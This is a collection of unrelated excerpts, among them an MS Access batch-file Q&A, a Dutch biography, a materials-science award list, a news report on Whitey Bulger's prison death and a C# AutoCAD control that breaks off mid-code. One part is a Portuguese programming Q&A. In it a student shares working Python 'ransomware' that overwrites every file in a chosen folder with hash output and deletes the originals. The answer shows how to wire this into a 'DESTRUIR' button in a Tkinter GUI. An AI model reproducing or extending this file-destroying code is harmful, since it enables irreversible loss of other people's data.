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Q: Ms Access - Run Macro from batch file when Other Ms Access Application are running I am calling a Ms Access Macro from a batch file and it is working properly when no other MS Access Application are open. When others are already running when i call the batch file the Application is opened but the macro is not called.
The problem seems to be that all the Ms Access processes have the same name and that the command doesn't know which one to use to launch the macro.
My setup : Windows 7, Office16.
ExecuteMyMacro.Bat :
START "C:\Program Files (x86)\Microsoft Office\root\Office16\MSACCESS.EXE" "C:\BD\MyApplication_FrontEnd.accdb" /x MyMacro

How can i change my batch file to work properly even if an other Ms Access Application is already running?
Thanks

SOLVED
To solve this problem i added a title and used the internal "msaccess" command to open my macro.
ExecuteMyMacro.Bat:
START "CallMyMacro" msaccess "C:\BD\MyApplication_FrontEnd.accdb" /x MyMacro

Hope it help someone else.

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Q: Quero "capturar" o caminho e usar ele em outro programa Tenho um "ransomware", no qual eu coloco um caminho pra uma pasta e ele criptografa/destrói
Tenho um trabalho pra apresentar na faculdade onde eu tenho que criar uma interface gráfica, criei uma simples tela, com 2 botões e uma cx de texto, a cx de texto seria onde o usuário colocaria o caminho da pasta e ai, os 2 botões, 1 seria pra executar o código e o outro pra sair do programa
Código do Ransomware:
import hashlib
import os
import string
import sys

                    #Windows - teste
#c = 'C:\\Users\\teste\\Desktop\\teste'

                    #teste import
c = '' #AQUI Q EU GOSTARIA DE IMPORTAR O CAMINHO QUE O USUÁRIO ESCREVER NA CX DE TEXTO

for files in os.listdir(c):
    os.chdir(c)
    with open(files, 'rb') as r:
        data = r.read()
        encrypt = hashlib.sha512(data).hexdigest()
        encrypt = encrypt.encode('utf-8') #resolveu o erro
        new_file = '(perdido)' +os.path.basename(files)
        with open(new_file, 'wb') as n:
            n.write(encrypt*0x31)
            n.close()
            r.close()

            os.remove(files)

Código da GUI:
from tkinter import *

#corpo do programa
janela = Tk()
janela.title("Destruir.exe")
janela.geometry('300x200+0+0')
#--

#definições
    #definição da ação que o botão1 vai fazer ao ser pressionado
def botao_pressionado():
    import imp

def botao2_pressionado():
    exit()
#--

#botão
    #botão1 = ação
        #especificações do botão1, coordenadas, texto e ação
b1 = Button(janela, text="DESTRUIR", command = botao_pressionado)
b1.pack(anchor = W)
b1.place(x=110, y=80)

    #botão2 = sair
        #sai do programa
b2 = Button(janela, text="SAIR", command = botao2_pressionado)
b2.pack(anchor = W)
b2.place(x=130, y=110)
#--

#campo de escrita/entrada de informação
    #usuário fornece a informação
e1 = Entry(janela)
e1.pack(side=TOP)
e1.place(x=50, y=50)
#--

janela.mainloop()

A: Quando você usa interface gráfica, geralmente o script que executa o mainloop() passa a ser o "principal", assim, é ele que deve importar o outro script.
Para isso você deve encapsular a funcionalidade do script em uma função ou método, de forma que seja possível chamá-lo à vontade quando importado.
Por exemplo, no seu arquivo ransomware.py coloque o código dentro de uma função chamada destruir_pasta que recebe o c como parâmetro:
ransomware.py:
import hashlib
import os
import string
import sys

def destruir_pasta(c):
    for files in os.listdir(c):
        # ... etc resto do código aqui ...

Daí no outro arquivo gui.py dentro de botao_pressionado, você pode chamar essa função:
gui.py
import ransomware

def botao_pressionado():
    pasta_digitada = e1.get() # pega o valor do Entry e1
    ransomware.destruir_pasta(pasta_digitada)

A função destruir_pasta foi definida para receber como parâmetro c a pasta a destruir, então, basta recuperar o valor digitado pelo usuário a partir do Entry e passar esse valor para a função.
OBS: Lembrando que o seu código como está escrito destrói realmente a pasta, portanto, não haverá uma forma de recuperar os arquivos depois, mesmo se a "vítima" pagar o ransom. Por isso o nome destruir_pasta é adequado.


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Dynamics 365 for Customer Engagement Apps, version 9 (on-premises update)
Dynamics 365 for Customer Engagement Apps, version 9 (on-premises update) follows the Fixed Lifecycle Policy.
Support dates are shown in the Pacific Time Zone (PT) - Redmond, WA, USA.
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Jose Maria Panganiban (Mambulao, 1 februari 1863 - Barcelona, 19 augustus 1890) was een Filipijns schrijver en voorvechter voor hervormingen in de Spaans koloniale Filipijnen.

Biografie
Jose Maria Panganiban werd geboren op 11 februari 1863 in Mambulao in de provincie Camarines Norte. Hij was de eerste van drie zoons van Vicente Panganiban en Juana Enverga. Panganiban was een goede student Hij leerde lezen en schrijven van zijn moeder. Na haar overlijden werd hij door zijn vader aangemeld voor een opleiding aan het seminarie van Nueva Caceres (Naga City), waar hij opviel als de meest uitmuntende student. Met financiële hulp van de rector van het seminarie studeerde hij vervolgens aan het Colegio de San Juan de Letran, waar hij in 1883 een Bachelor of Arts-diploma behaalde. In mei 1888 vertrok Panganiban naar Spanje met als doel in Barcelona medicijnen te studeren.

Na verloop van tijd stopte hij echter met zijn studie en was hij met name actief als voorvechter voor hervormingen van het Spaanse koloniale bestuur in de Filipijnen. Hij schreef gebruik makend van de pseudoniemen Jomapa en J.M.P. veel artikelen in de krant La Solidaridad. In zijn artikelen probeerde hij de Spanjaarden te wijzen op het belang van persvrijheid en bekritiseerde hij het onderwijssysteem in de Filipijnen. Panganiban wordt gezien als een belangrijk figuur binnen de groep Filipijnse ilustrados, die zich vanuit Europa inzetten voor meer vrijheden in de Filipijnen. Het meeste bekende lid van deze groep was José Rizal.

Panganiban overleed in 1890, ruim voor de Filipijnse revolutie, op 27-jarige leeftijd aan de gevolgen van tuberculose. Hij werd begraven in Barcelona. In 1956 werden zijn overblijfselen overgebracht naar de Filipijnen en weer later werd hij begraven in het in 1985 voor hem opgerichte monument in zijn geboorteplaats. Die plaats was al in 1934 hernoemd naar Jose Panganiban. Ook werd Calle de Legaspi, een van de grote verkeersaders in de stad Naga in zijn geboorteprovincie hernoemd naar Panganiban Drive.

Bronnen
 National Historical Institute, Filipinos in History, Manilla, NHI, (1990)
 Carlos Quirino, Who's who in Philippine history, Tahanan Books, Manilla (1995)

Filipijns schrijver

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Facebook to launch a new music service
John Moe Sep 1, 2011
https://www.marketplace.org/2011/09/01/facebook-launch-new-music-service/
Because if there's one thing the internet needs is another music service. CNBC was the first to run with this and other outlets are now confirming as well that Facebook will debut its service during the f8 conference that starts on 9/22.
CNBC speculates that Facebook could function more as a portal than a massive streaming service or locker service:
Checks within the music industry suggest that Facebook has not been negotiating to actually become a music retailer itself; instead, it may be creating an environment where third-party music services such as Pandora, Spotify, MOGand others can offer their wares. If that's the case, rather than threaten existing music services, a Facebook music platform could actually provide a boost in traffic to those that offer free, ad-supported services.
Is Pandora being boxed in by a flawed business model?
Pandora Premium takes on Apple Music and Spotify
Putting big data to work for musicians
Amazon to launch music streaming service
Spotify offers music streaming in more African countries
What is the best way to support musicians?


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Home » Professional Development » Honors & Awards » TMS Best Paper Contest - Graduate
TMS Best Paper Contest - Graduate
Students are encouraged to submit essays on global or national issues as well as technical research papers, relating to any field of metallurgy or materials science. Students should display original thought and creativity in the development of the essays, which should include a comprehensive bibliography on which the paper is based.
To enable recipients to receive the award in person at the TMS annual meeting, $250 is available to offset travel expenses. Award recipients must travel to and attend the conference in order to receive the travel funds associated with this award.
Funding for this scholarship is provided by the TMS Foundation.
The applicant must be a student member of Material Advantage.
Applicants must be a graduate student enrolled full time in a metallurgical/materials science engineering program at a qualified college or university.
Papers must be unpublished as of the submission deadline date
Only one paper contest entry per student is accepted
Papers should be of a technical/research nature and may deal with any of the following disciplines:
Physical and mechanical metallurgy
Extractive and process metallurgy
The paper should be prepared by one author. It should be the original work of that author as far as possible. If a faculty member is listed as co-author, have them submit a letter confirming that the applicant is the primary author.
Papers must be written in English, utilizing good communication skills.
The paper should be neither less than 2,000 nor more than 4,000 words.
March 15 of each year.
Please submit online your application, paper, and letter from a faculty member if needed.
Paper and e-mailed applications and letters will not be accepted.
2022 TMS Best Paper Contest - Graduate - 1st Place
Di Xie
Title: Student
Affiliation: University of Tennessee, Knoxville
Quote: "It is a great honor for me to receive this award. I would like to express sincere gratitude to the TMS Foundation and Material Advantage, which offer me a great opportunity to communicate with many excellent researchers about the state-the-art investigations and progress in my field. This award will boost my confidence in my current academic study and surely inspire me to further progress in my academic and research endeavors.
Other: "Plastic anisotropy and twin distributions near the fatigue crack tip of textured Mg alloys from in situ synchrotron x-ray diffraction measurements and multiscale mechanics modeling"
2022 TMS Best Paper Contest - Graduate - 2nd Place
Rakesh Kamath
Quote: It is a huge honor to be recognized by one of the most renowned international professional organizations in the materials science community. I am very much thankful to the TMS Foundation for selecting me as the recipient amongst many of my highly qualified peers. I wish to express my sincere gratitude to my advisor, Hahn Choo, and mentor, Suresh Babu, for their constant guidance and encouragement throughout my dissertation research. I strongly believe this recognition will serve me well, both as a springboard for my future career and a source of inspiration that will enable me to give my best to materials research.
Other: "In-situ, dynamic synchrotron x-ray radiography studies on melt pool evolution and solidification kinetics during laser fusion processing of Ti-6Al-4V"
2021 - TMS Best Paper Contest - Graduate - 1st Place
Chanho Lee - View Details
Affiliation: The University of Tennessee, Knoxville, Knoxville, TN
Quote: TMS is one of the biggest and most well-known associations in the minerals, metals, and materials science fields. Thus, it is a great honor for me to be recognized by an outstanding Society with this award. I would like to sincerely thank my advisors, Peter K. Liaw and my mentors, Saryu Jindal Fensin and Nan Li for their invaluable support and guidance throughout my scientific research. This award will be a nice springboard for my future career development and help me to boost my confidence and achieve my academic goals.
Other: Lattice-Distortion-Enhanced Yield Strength in a Refractory High-entropy Alloy
2021 - TMS Best Paper Contest - Graduate - 2nd Place
Zhongxia Shang - View Details
Affiliation: Purdue University, West Lafayette IN United States
Quote: TMS has provided many valuable opportunities for the materials science and engineering community by connecting scientists and engineers all over the world. Particularly, it benefits young researchers like me most by offering us a worldwide platform to present our exciting and innovative works. As a TMS member, I feel very grateful to accept such a prestigious award. I really enjoy staying in such a professional and friendly community to pursue my academic career goal.
Other: He Ion Irradiation Response of a Gradient T91 Steel
Yuan Li - View Details
Affiliation: University of Tennessee, Knoxville, TN
Keyou Mao - View Details
Affiliation: Purdue University, West Lafayette, IN
Quote: It is a blessing to be honored by such a prestigious award. The TMS Foundation and Materials Advantage provide me with a high-level professional platform to connect with the materials science community via sharing the frontiers of our research so that we can innovate materials to make our world a better place. I have attended more than ten TMS career development workshops. This award also allows me to present my work at the TMS 2020 Annual Meeting in San Diego. I believe all of these TMS benefits equip me with knowledge for my academic endeavors and elevate my motivation for solving greater materials problems. In the future, I will continue my career in materials research and development and open a start-up company.
Pranjal Nautiyal - View Details
Affiliation: Florida International University, Miami, FL
Quote: I started my Ph.D. in Materials Engineering in Fall 2015, and have been a Material Advantage member since then. As a member, I have participated in student contests, received TMS travel grants to attend conferences, and interacted with other fellow students and researchers in the materials community. I also chaired the Material Advantage chapter at my university, which has helped me to gain leadership experience, engage in social outreach and get to know successful professionals in my area. I will graduate in Spring 2020 and wish to become a Professor. I like doing research, writing and teaching, and academia would be a perfect career choice for me. TMS has helped me develop skill sets that will be helpful for me to succeed.
Rui Feng - View Details
Affiliation: University of Tennessee, Knoxville, Knoxville, TN
Quote: It is my great honor to be receive this award again. I would like to thank the TMS Foundation and Materials Advantage, which offer me a wealth of resources to connect with many excellent researchers and stay up to date with the cutting-edge progress in my field. With the stimulation from this award, I will continue my hard work and passion in my future academic research and any other engaged works.
Quote: It is my great honor to receive this prestigious award. I am sincerely grateful to the TMS Foundation and the committee for selecting me as a recipient. TMS and Material Advantage have provided me with the great opportunities to show myself and network with many nice researchers and colleagues. With the benefit of TMS, I have obtained academic improvement. This award will not only recognize my research endeavors but will also inspire me to be more passtionate about my future academic research.
Other: "Phase Stability and Transformation in a Light-weight High-entropy Alloy"
Shuying Chen - View Details
Quote: It is really a great honor for me to receive this award. Through this excellent conference, I broadened the horizons and learned the latest progress on the interested area, which will be helpful for my own research later. Besides, it strengthened my confidence to pursue my academic career in the future and I will do my best to proceed with my research. I'm really grateful to obtain this great award.
Other: "Influence of Temperatures and Strain Rates on Deformation Behaviors of the Al0.5CoCrCuCrFeNi High Entropy Alloys (HEAs)"
Gian Song - View Details
Quote: TMS is one of the biggest well-known conferences in the materials science and engineering fields all over the world. Thus, the award I am receiving is the great honor for me. Moreover. this award will be beneficial to me so that many people in these fields will recognize my efforts and excellence in doing researches. This award, will give me a strong self-confidence on my current work and motivation to future research. Absolutely, I will continue to try my best to carry out novel and significant research and become a researcher who works hard and contribute to the materials science and engineering fields.
Other: "High-Temperature Deformation Mechanisms in Hierarchical and Single Precipitate-Strengthened Ferritic Alloys by In-Situ Neutron-Diffraction Studies"
Kazi Tasneem - View Details
Affiliation: Vanderbilt University, Nashville, TN
Quote: This is a great honor for being chosen as a recipient of the TMS Best Paper Contest – Graduate Division – Second Place. I express my sincere gratitude to TMS Foundation and the committee for selecting me as a recipient of the prestigious award amongst many qualified applicants. This recognition of the academic achievement will surely inspire me to further progress my academic and research endeavor. Once again, I cordially thank and appreciate TMS Foundation for continuing to support and encourage higher education.
Other: "Vitrification of Municipal Solid Waste Incineration Fly Ash: Scientific Aspects and Propositions for the Promising Solution"
Zhiqian Sun - View Details
Affiliation: University of Tennessee, Knoxville, Tennessee, USA
Quote: It is my great honor to receive this award. It helps publicize and promote my research work, and I have had great discussions with researchers and colleagues. I have also obtained excellent training in technical writing during the preparation.
Other: "The nano-sized precipitate stability and its controlling factors in a NiAl-strengthened ferritic alloy"
Quote: This is a great honor for me because TMS is one of the biggest associations in the minerals, metals, and materials fields. Many people with a variety of technical interests and experiences around the world attend the TMS annual meeting and recognize TMS awards as an excellent accomplishment for graduate students. This award and the TMS Foundation will be greatly beneficial to my career and will stimulate me to be more fascinated with my research. Moreover this will help me respond to the challenges of development in the scientific community and contribute towards my will to excel.
Other: "Investigation of Novel Hierarchical-Precipitate-Strengthened Ferritic Superalloys with Superior Creep Resistance"
Brian Lin - View Details
Affiliation: Carnegie Mellon University, Pittsburgh, PA
Quote: Being part of TMS as a student has been extremely rewarding. I have had the opportunity to attend several conferences for both a student rate and in some particular instances also reimbursed for cost of travel, registration fees, etc. The TMS Foundation has given me the chance to travel to these conferences I previously might not have considered to present my work to a community that really cares about what I'm doing. This award is yet another opportunity that the TMS Foundation enables students to shine and be passionate about their work, to which I am incredibly thankful.
Other: "Reducing the Dependency on Governmental Funding"
Cheng-Chieh Li - View Details
Affiliation: National Taiwan University, Taipei, Taiwan
Quote: It is a great honor for me in receiving this award. It truly inspires me to continue my pursuit of materials science research. First, I would like to thank my advisor, C. Robert Kao of the National Taiwan University, who always encourages me to seize the opportunities and treats me as his own child. Then, I am very grateful to my dear wife Tsun-En, parents, and all the friends who helped me to achieve this career. Finally, I veru much appreciate TMS for providing such an occasion. It's substantial help for a graduate student to develop the career and seek an academic position.
Other: "Volume shrinkage induced by interfacial reaction in micro Ni/Sn/Ni and Ni/Sn-Ag/Ni sandwich"
Kaiyuan Yu - View Details
Affiliation: Texas A&M University, College Station, TX
Quote: This prestigious award not only recognizes in writing scientific papers, but also my growth in conducting research. I feel more confident in seeking a job in academia and this award definitely helps build up my resume. And the monetary prize gives me support to engage more academic activities, such as attending TMS conferences.
Other: "In Situ Studies of Irradiation Induced Twin Boundary Migration in Nanotwinned Ag"
Yi Wang - View Details
Quote: I was very glad to be a member of Materials Advantage which provided me a lot of information about the development of materials science and plenty of chances to touch with other professors and students in this field. As a student member in this group, I submitted the papers, had the presentations and posters at the conferences. In these activities, my research can be shown to other people and the feedback they provide to me are quite useful for my ongoing work. I am very happy to receive this award. I appreciate this award and will try my best in the future.
Other: "Interplay between Texture and Grain Size during the Plastic Deformation of a Mg Alloy: A Synchrotron X-ray Diffraction and Visco-plastic Self-consistent Modeling Study"
Chen Sun - View Details
Affiliation: Texas A&M University,
Quote: "This award significantly encourages me to do more research in the field of Materials Science. I will feel more confident to solve challenging problems in academia. This award will also support me to present my work at the TMS 2013 Annual Meeting in San Antonio. With four different professional societies, the Material Advantage Student Program not only promotes my knowledge of materials, but assists me in my academic endeavors."
Other: In situ evidence of defect cluster absorption by grain boundaries in irradiated nanocrystalline Ni
Chih-Pin Chuang - View Details
Affiliation: University of Tennessee,
Quote: "To win this student best paper contest award is a special thrill to me. It represents the committee's recognition of my research in this subject. It gives me more incentive to maintain a high standard for my academic career."
Other: Fatigue-induced damage in Zr-based bulk metallic glasses
Zhinan An - View Details
Quote: "As a young scientist, it is a great opportunity to attend TMS international conferences with the privilege of Material Advantage membership. It is a good stage to show ourselves and to communicate and learn from the others."
Other: Interface Constraints on Shear Band Patterns in Bonded Metallic "Effects of Nanocrystalline Calcium Deficient Hydroxyapatite (nCHDA) Glass Plates under Micro-indentation
Indranil Lahiri - View Details
Affiliation: Florida International University,
Quote: "It is a great honor to be awarded one of the TMS Student Best Paper Contest Awards (Graduate). This award will be a driving force for my future research. I am very much thankful to Material Advantage. I learned many important leadership skills as secretary (2008–09) and chair (2009–10) of the Material Advantage chapter at Florida International University. Finally, I could contest for this TMS award only because of Material Advantage. My sincere thanks to everyone related to Material Advantage. The advantage is clear and obvious—there is no end to learning and speeding up your professional career in Material Advantage."
Other: Interface Engineering – Materials Engineers' Perspective for Enhancing Field Electron Emission from Multiwall Carbon Nanotube Based Emitters
Shenyan Huang - View Details
Quote: "It is my great honor to be awarded the TMS Graduate Student Best Paper. During my three years as a student member, I have been provided great opportunities to attend meetings, give oral presentations, discuss scientific issues with scholars, and learn professional skills at various symposia. TMS is important to my research and career development. I would like to thank my academic advisor, collaborating professors, and the peers in our group for the help and guidance on my research."
Other: Effects of Al on the Creep Behavior and Microstructures in a (Ni,Fe)Al Precipitate-Strengthened Ferritic Superalloy
Lisa Deibler - View Details
Affiliation: Case Western Reserve University,
Quote: "TMS has been very supportive of me over the past several years of my student membership, allowing me to travel to several conferences, pay for my undergraduate degree, get involved with the organization, and participate in competitions. TMS is a great organization and it is a great honor for my research to be recognized through this contest. I hope that I can continue to be involved with TMS as I graduate and begin my career."
Engang Fu - View Details
Quote: "TMS has been and will continuously be a very important part in my career development since it was first introduced to me by my advisor, Dr. Xinghang Zhang, in 2005. I am very delighted and honored to be the recipient of this prestigious award. I would like to express my sincere gratitude to TMS for providing various good opportunities not only for me, but also for many other young scientists."
Other: Interface Enhanced Radiation Tolerance in Cu/V Nanolayers
Soo Lee - View Details
Quote: "It is a great honor for me to be recognized by an outstanding society such as TMS with this award. I would like to dedicate this award to my family and my advisors, Profs. Peter K. Liaw and Hahn Choo, for their invaluable support and guidance throughout my Ph.D. study. I would also like to thank TMS for their continuous support to student members. This award has already boosted my confidence and encouraged me to continue to pursue and achieve my education and career goals."
Other: A Study on Fatigue-Crack-Deformation Behavior Following a Single Tensile Overload
Nan Li - View Details
Other: He Ion Irradiation Damage in Fe/W Nanolayer Films
Hsiao-Yun Chen - View Details
Affiliation: National Chiao University,
Other: Interfacial Reaction Between Eutectic SnPb Solder and Electroplated Ni as Well as Electroless Ni Metallization During Reflow
Gopinath Trichy - View Details
Affiliation: North Carolina State University,
Quote: "TMS has been extremely useful for my professional development. I would like to thank TMS, my parents, NCSU colleagues, Professor Jagdish Narayan (Ph.D. thesis advisor), and the National Science Foundation for funding my research."
Alpesh Shukla - View Details
Affiliation: Rensselaer Polytechnic Institute,
Quote: ""I dedicate this award to my advisor Prof. Bud Baeslack, who has always been supportive and encouraging to me. TMS has been an influential factor in my career development and I thank TMS for this reward. I wish TMS would continue to support, inspire, and challenge the
Shih-kang Lin - View Details
Affiliation: National Tsing Hua University,
Quote: "It is a great honor for me to receive the award. It truly inspires me to continue my pursuit of materials science research. Thanks to many people who helped me to accomplish the study. Especially, I would like to thank my advisor, Dr. Sinn-wen Chen of the National Tsing Hua University, who always encourages me and provides wise suggestions. Finally, I really appreciate TMS providing such an opportunity. It's definitely beneficial to a graduate student's career development.""
Wanchuck Woo - View Details
Quote: "This award is truly an honor for me and encourages me to be more absorbed in my research field (mechanical behavior/neutron diffraction). I appreciate being recognized by TMS, which is always an outstanding source in material science and engineering. I am very thankful to my advisors Profs. Hahn Choo, Peter K. Liaw, and collaborators for their helpful guidance and support.
Other: Residual Stress, Texture, and Natural Aging Kinetics of a Friction-Stir Processed 6061-T6 Aluminum Alloy: A Neutron Diffraction Study
Anil Kurella - View Details
Quote: "I am honored to receive this award, having seen the quality of past graduate student papers that have received this award. It is a great feeling to have my paper counted among them. I feel that TMS and other professional societies are very important in a graduate student's career development, and providing these accolades not only encourages individuals but helps promote quality research within their respective schools.
Other: Phase and Morphological Evolution in Laser Textured Zirconia Coating on Ti alloy
Rajen Sidhu - View Details
Affiliation: Arizona State University,
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Other: N/A
Bing Yang - View Details
Quote: "Winning this award is a great honor to me. I feel so excited that my research work can be recognized by a prestigious society like TMS. I would like to dedicate this award to my family and my advisor, Prof. Peter K. Liaw, who gave me the greatest help both academically and personally. I would also like to thank TMS for their continuing support to the members. This award not only brings me honor and happiness, but also encourages me to work even harder in my future career life."
Other: "In-situ Prediction of Stress-Strain Behavior of SA533-B1 Steels during Low-Cycle Fatigue using Thermograph"
Neill McDonald - View Details
Affiliation: Carnegie Mellon University,
Quote: "Having seen the quality of past graduate student papers that have received this award, I am honored that my paper is counted among them. I feel that TMS and other professional societies are very important in a graduate student's studies and career and I am happy to use this award to further my participation. Thank you."
Jiantao Liu - View Details
Affiliation: University of Kentucky,
Quote: "I am deeply honored to receive this prestigious award from TMS. This award, combined with second place I received in the 2001 TMS Outstanding Student Paper Contest (Graduate Division), highly recognizes my Ph.D. work at the University of Kentucky. I would like to dedicate this award to my major professor, Dr. James G. Morris, for his outstanding guidance. TMS, through its sponsored meeting and journals, keeps me updated in the field of materials science and engineering. This award provides me encouragement for further success in my career."
Subhadarshi Nayak - View Details
Affiliation: University of Knoxville,
Quote: "TMS is one of the prestigious organizations, particularly for academic and research profession. A recognition from TMS serves in encouraging immensely for my effort. Also, it gives a feeling that my research is meaningful and of worth. I shall work towards my goal with renewed vigor."
Ayman Salem - View Details
Affiliation: Drexel University,
Quote: "I am so excited and happy to receive this award. It was one of my dreams throughout my graduate study. Being recognized by an outstanding society such as TMS is a great honor. Such recognition has encouraged me to work even harder than before. I would like to thank the TMS committee for the award and continuous support for student members. Also, I would like to dedicate this award to my father and my advisors, Dr. S. Kalidindi and Dr. R. Doherty, for their invaluable guidance."
Other: "Strain Hardening of Titanium: Role of Deformation Twinning"
Quote: It is a great honor to be selected as the winner of this award by TMS. I would like to acknowledge my supervisor, Dr. James G. Morris, for his outstanding guidance. This award encourages me to keep going ahead in my research. I have benefited much from TMS by attending the TMS-sponsored meetings and by receiving the TMS-sponsored journals. I believe that TMS will help me achieve a successful career. I appreciate TMS for giving me this award. Thanks are also due to my family, teachers, colleagues, and friends."
Other: Texture and Grain Boundary Evolutions of Continuous Cast and Direct Chill Cast AA 5052 Aluminum Alloy During Cold Rolling
David Mitlin - View Details
Affiliation: University of California,
Quote: For me, TMS has always been an outstanding source of reliable and up-to-date technical information. It has also served as my link to the rest of the materials science community through publications and events. The TMS-sponsored journal, Metallurgical and Materials Transactions, has been invaluable for my Ph.D. research as a way to understand prior work done in the field and also to communicate my own results."
Other: "Catalyzed Precipitation in Al-Cu-Si"
Vasudevanpillai Ganesh - View Details
Affiliation: National University of Singapore,
Quote: "It is indeed a great honor to receive this prestigious award from a leading world-known society such as TMS. This award has already boosted my confidence and has motivated me to further my career in the leading research organizations or to continue with Ph.D. program. I sincerely thank A/P M. Gupta for providing me the invaluable guidance, and to TMS for recognizing my research efforts through this award and for keeping me updated through its research publications in the area of Materials Science."
Mario Arenas - View Details
Affiliation: University of Alabama ,
Quote: "It is a great honor to be recognized by TMS with this award. Without the support and guidance of my advisor, Garry W. Warren, this achievement would not have been possible. This award provides further motivation and encouragement to develop a better job in the future. I shall give God all the credits."
Other: Aqueous Corrosion Study of Melt-Spun NdFeB Ribbons with TiC
Brahmandam Sudhir - View Details
Affiliation: Indian Institute of Science,
Quote: "It is a pleasant feeling being selected by TMS for this award. I would like to thank my guide, Atul H. Chokshi, for making this possible. Further, I would like to see more of my friends win these prizes from TMS. Finally, I appreciate TMS for its efforts in encouraging students working on the three M's!"
Pragati Kumar - View Details
Affiliation: Ohio State University,
Quote: "This prize certifies the excellent guidance that I got from Professor Sandhage and the support my colleagues and friends.
Other: Near Net-Shaped Magnesium Aluminate Spinel by the Oxidation of Solid Magnesium-Bearing Precursors
Robert Wu - View Details
Affiliation: University of Wisconsin-Madison,
Laurent Cretegny - View Details
Affiliation: Georgia Institute of Technology,
Quote: "Being a TMS member has allowed me to become acquainted with professionals in the field. The valuable opinions based on professional experience and industrial points of view that have come out of these encounters have broadened the academic perspective gained at Georgia Tech. It is an honor to be the 1998 award recipient, especially considering the expertise of the reviewing committee. It gives me great satisfaction to have my work recognized in this fashion."
Other: Fracture Toughness Behavior of Weldments with Mis-Matched Properties at Elevated Temperature
William Jones - View Details
Affiliation: University of California at Berkeley,
Other: "Physical Modeling of the Effects of Non-Symmetric Placement and Blockage of Flow Control Bags Used in Semi-Continuous Casting Aluminum"
P.C. Wang - View Details
Affiliation: Columbia University,
Other: X-Ray Microdiffraction for VLSI
Abdel Abusafieh - View Details
Other: "Development of a New Swelling-Type Composite Material for Bioimplant Applications"
Michael Glazov - View Details
Affiliation: University of Pennsylvania,
Other: Temporal Instabilities and Dissipative Structures in Fatigued Metals
Maher Amer - View Details
Debkumar Mukhopadhyay - View Details
Affiliation: University of Idaho,
Other: Structural Evolution in Mechanically Alloyed Al-Fe Powder Mixtures


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Disturbingly, over half the households that responded were living on less than R3 200pm, including one in ten households with no income.
Government grants (including old age pensions) are an important source of income for people born in Gauteng (32%) and internal migrants (30%), but less so for cross border migrants (13%).


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Prison inmates placed bets on how long Whitey Bulger would survive after being transferred, a watchdog report found. The notorious gangster was beaten to death in less than 24 hours.
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Whitey Bulger is taken from a Coast Guard helicopter to an awaiting Sheriff vehicle after attending federal court in Boston. Thursday, June 30, 2011.Photo by Stuart Cahill/MediaNews Group/Boston Herald via Getty Images
Inmates at a West Virginia prison bet on how long James "Whitey" Bulger would survive there.
A new watchdog report found that the notorious gangster was beaten to death in mere hours.
The scathing DOJ report said there were a series of "failures" surrounding his prison transfer.
Inmates at a West Virginia prison placed bets on how long James "Whitey" Bulger would survive after being transferred there, a new report has found. After he arrived, the notorious Boston gangster was beaten to death in a matter of hours.
The report from the Justice Department's Office of the Inspector General (OIG), which was made public Wednesday, details a series of "failures" within the Federal Bureau of Prisons surrounding Bulger's transfer from a Florida prison to the US Penitentiary Hazelton in October 2018.
Among the OIG's findings was that prison staff who worked at Hazelton, which had a "record of violence among inmates," spoke publicly about Bulger's upcoming arrival in front of inmates — a violation of Federal Bureau of Prisons policy.
One Hazelton inmate at the time told the OIG in an interview that he knew of Bulger's arrival at the site two weeks before he physically showed up, and that the "entire prison knew" of the transfer. According to the report, that inmate also said they heard Federal Bureau of Prisons officers speaking freely of Bulger's arrival like they were "talking about a football game."
That inmate "further stated that both the inmates and staff were speculating about — and inmates were betting money on — how long Bulger would stay alive at Hazelton," the report said.
Bulger was eventually transferred from US Penitentiary Coleman in Florida to Hazelton on October 29, 2018. He arrived at around 6 p.m. and was pronounced dead the next day at 9:04 a.m.
"Staff found Bulger unresponsive with no pulse, in his bunk, with visible injuries to his head and face, consistent with having been involved in a physical altercation," the report said.
Bulger, who gained notoriety for leading violent organized crime in New England, was arrested in 2011 after being on the run for years. He was convicted of numerous crimes two years later.


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using System;
using System.ComponentModel;
using System.Windows.Forms;
using Autodesk.AutoCAD.EditorInput;
using Autodesk.AutoCAD.Geometry;

namespace AcadUtility.WinForms
{
    [Designer(typeof(PickCoordinateControlDesigner))]
    public class PickCoordinateControl : Control
    {
        private Point3d pickPoint = new Point3d(0, 0, 0);

        [Browsable(false), DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
        public Point3d PickPoint
        {
            get => pickPoint;
            set
            {
                IsPointSet = true;
                pickPoint = value;
                txtX.Text = pickPoint.X.ToString();
                txtY.Text = pickPoint.Y.ToString();
                txtZ.Text = pickPoint.Z.ToString();
            }
        }

        [Browsable(false)]
        public bool IsPointSet { get; private set; } = false;

        [Category("Appearance"), DefaultValue("\nBaz noktası: ")]
        public string PickPointPrompt { get; set; }

        [Category("Appearance"), DefaultValue("&Baz noktasını seç")]
        public string PickButtonText
        {
            get => lblPick.Text;
            set => lblPick.Text = value;
        }

        [Category("Appearance"), DefaultValue("&X")]
        public string XLabelText
        {
            get => lblX.Text;
            set => lblX.Text = value;
        }

        [Category("Appearance"), DefaultValue("&Y")]
        public string YLabelText
        {
            get => lblY.Text;
            set => lblY.Text = value;
        }

        [Category("Appearance"), DefaultValue("&Z")]
        public string ZLabelText
        {
            get => lblZ.Text;
            set => lblZ.Text = value;
        }

        private TextBox txtZ;
        private Label lblZ;
        private TextBox txtY;
        private Label lblY;
        private TextBox txtX;
        private Label lblX;
        private Label lblPick;
        private Button btnPick;

        [Category("Appearance"), DefaultValue(55)]
        public int DividerLocation
        {
            get => txtX.Left;
            set
            {
                int newLoc = Math.Min(value, ClientRectangle.Width - 20);

                txtX.Left = newLoc;
                txtY.Left = newLoc;
                txtZ.Left = newLoc;

                txtX.Width = Math.Max(20, ClientRectangle.Width - txtX.Left);
                txtY.Width = Math.Max(20, ClientRectangle.Width - txtY.Left);
                txtZ.Width = Math.Max(20, ClientRectangle.Width - txtZ.Left);
            }
        }

        public PickCoordinateControl()
        {
            InitializeComponent();

            PickButtonText = "&Baz noktasını seç";
            XLabelText = "&X";
            YLabelText = "&Y";
            ZLabelText = "&Z";
            PickPointPrompt = "\nBaz noktası: ";

            DividerLocation = 55;
        }

        protected override void SetBoundsCore(int x, int y, int width, int height, BoundsSpecified specified)
        {
            height = 96;
            base.SetBoundsCore(x, y, width, height, specified);
        }

        protected override void OnResize(EventArgs e)
        {
            txtX.Width = Math.Max(20, ClientRectangle.Width - txtX.Left);
            txtY.Width = Math.Max(20, ClientRectangle.Width - txtY.Left);
            txtZ.Width = Math.Max(20, ClientRectangle.Width - txtZ.Left);

            base.OnResize(e);
        }

        private void InitializeComponent()
        {
